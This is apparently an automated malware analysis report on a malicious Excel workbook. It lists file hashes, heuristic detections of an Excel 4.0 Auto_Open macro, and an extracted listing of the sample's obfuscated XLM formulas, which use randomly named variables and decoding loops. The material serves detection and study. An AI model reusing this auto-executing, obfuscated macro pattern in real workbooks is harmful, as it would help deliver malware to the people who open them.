Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ff2cdc2da09b9f7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:32 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 5ecef0a9a6d9915efcebd8f382bd9d58 SHA-1: 171ebe1ae4fb91327ee3018b345f99f347f702da SHA-256: 3ff2cdc2da09b9f79e03fcdeb9becb317457c9ce442a3b577e11e0a9e9bb2e4d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6653 bytes
SHA-256: acd8f7c99cf09c48fc2851bc1c4a631b755412d1bb10038db7943a60d092975f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  teHNFJ
' 0018     20 LABEL : Cell Value, String Constant - ASjcp len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I164 
' 0018     20 LABEL : Cell Value, String Constant - bDMyt len=0 
' 0018     22 LABEL : Cell Value, String Constant - bSwixkz len=0 
' 0018     20 LABEL : Cell Value, String Constant - cDJGQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - clOnYJpRtj len=0 
' 0018     25 LABEL : Cell Value, String Constant - eHoNpMUmEj len=0 
' 0018     21 LABEL : Cell Value, String Constant - FsxNYw len=0 
' 0018     27 LABEL : Cell Value, String Constant - jhBAzKMcliPr len=0 
' 0018     25 LABEL : Cell Value, String Constant - JwwWGoften len=0 
' 0018     24 LABEL : Cell Value, String Constant - lQOhBWcQM len=0 
' 0018     21 LABEL : Cell Value, String Constant - LUlsAG len=0 
' 0018     21 LABEL : Cell Value, String Constant - MaVhPH len=0 
' 0018     21 LABEL : Cell Value, String Constant - MtXBZF len=0 
' 0018     25 LABEL : Cell Value, String Constant - oVrubDxbeS len=0 
' 0018     27 LABEL : Cell Value, String Constant - qGXVYfEyhqrh len=0 
' 0018     23 LABEL : Cell Value, String Constant - SBGMOtrK len=0 
' 0018     23 LABEL : Cell Value, String Constant - sDktlszA len=0 
' 0018     24 LABEL : Cell Value, String Constant - WAtfOgDbF len=0 
' 0018     24 LABEL : Cell Value, String Constant - xWGzrVPWz len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZLMFLGPHft len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  teHNFJ,I80,"SET.NAME("ASjcp",0+VALUE("0"))",""
'  teHNFJ,S81,"",-338.00000000000000000000
'  teHNFJ,I82,"SET.NAME("qGXVYfEyhqrh",ASjcp)",""
'  teHNFJ,S82,"",-811.00000000000000000000
'  teHNFJ,S83,"",808.00000000000000000000
'  teHNFJ,S84,"",645.00000000000000000000
'  teHNFJ,I85,"SET.NAME("ZLMFLGPHft",ASjcp)",""
'  teHNFJ,S85,"",-643.00000000000000000000
'  teHNFJ,S86,"",-383.00000000000000000000
'  teHNFJ,I87,"SET.NAME("oVrubDxbeS",COUNTA(xWGzrVPWz))",""
'  teHNFJ,I89,"SET.NAME("bSwixkz",COUNTA(FsxNYw))",""
'  teHNFJ,I92,[],""
'  teHNFJ,I97,"SET.NAME("SBGMOtrK","")",""
'  teHNFJ,I99,"qGXVYfEyhqrh",""
'  teHNFJ,I101,"SET.NAME("MtXBZF",HLOOKUP("*",xWGzrVPWz,qGXVYfEyhqrh,FALSE))",""
'  teHNFJ,I106,"jhBAzKMcliPr",""
'  teHNFJ,I108,"SET.NAME("MaVhPH",ASjcp)",""
'  teHNFJ,I110,[],""
'  teHNFJ,I112,"MaVhPH",""
'  teHNFJ,I117,"sDktlszA",""
'  teHNFJ,I122,"clOnYJpRtj",""
'  teHNFJ,I124,"lQOhBWcQM",""
'  teHNFJ,I129,"SET.NAME("WAtfOgDbF",VALUE(HLOOKUP("*",FsxNYw,lQOhBWcQM,FALSE)))",""
'  teHNFJ,I132,"bDMyt",""
'  teHNFJ,I136,"SBGMOtrK",""
'  teHNFJ,I140,"ZLMFLGPHft",""
'  teHNFJ,I143,NEXT(),""
'  teHNFJ,I147,"cDJGQ",""
'  teHNFJ,I152,[],""
'  teHNFJ,I154,"eHoNpMUmEj",""
'  teHNFJ,I158,NEXT(),""
'  teHNFJ,I162,RETURN(),""
'  teHNFJ,I193,"SET.NAME("JwwWGoften",I80)",""
'  teHNFJ,I197,"xWGzrVPWz",""
'  teHNFJ,I200,"SET.NAME("FsxNYw",R64C14)",""
'  teHNFJ,I203,"SET.NAME("eHoNpMUmEj",210)",""
'  teHNFJ,I207,"SET.NAME("LUlsAG",9)",""
'  teHNFJ,I209,JwwWGoften(),""
'  teHNFJ,I210,HALT(),""

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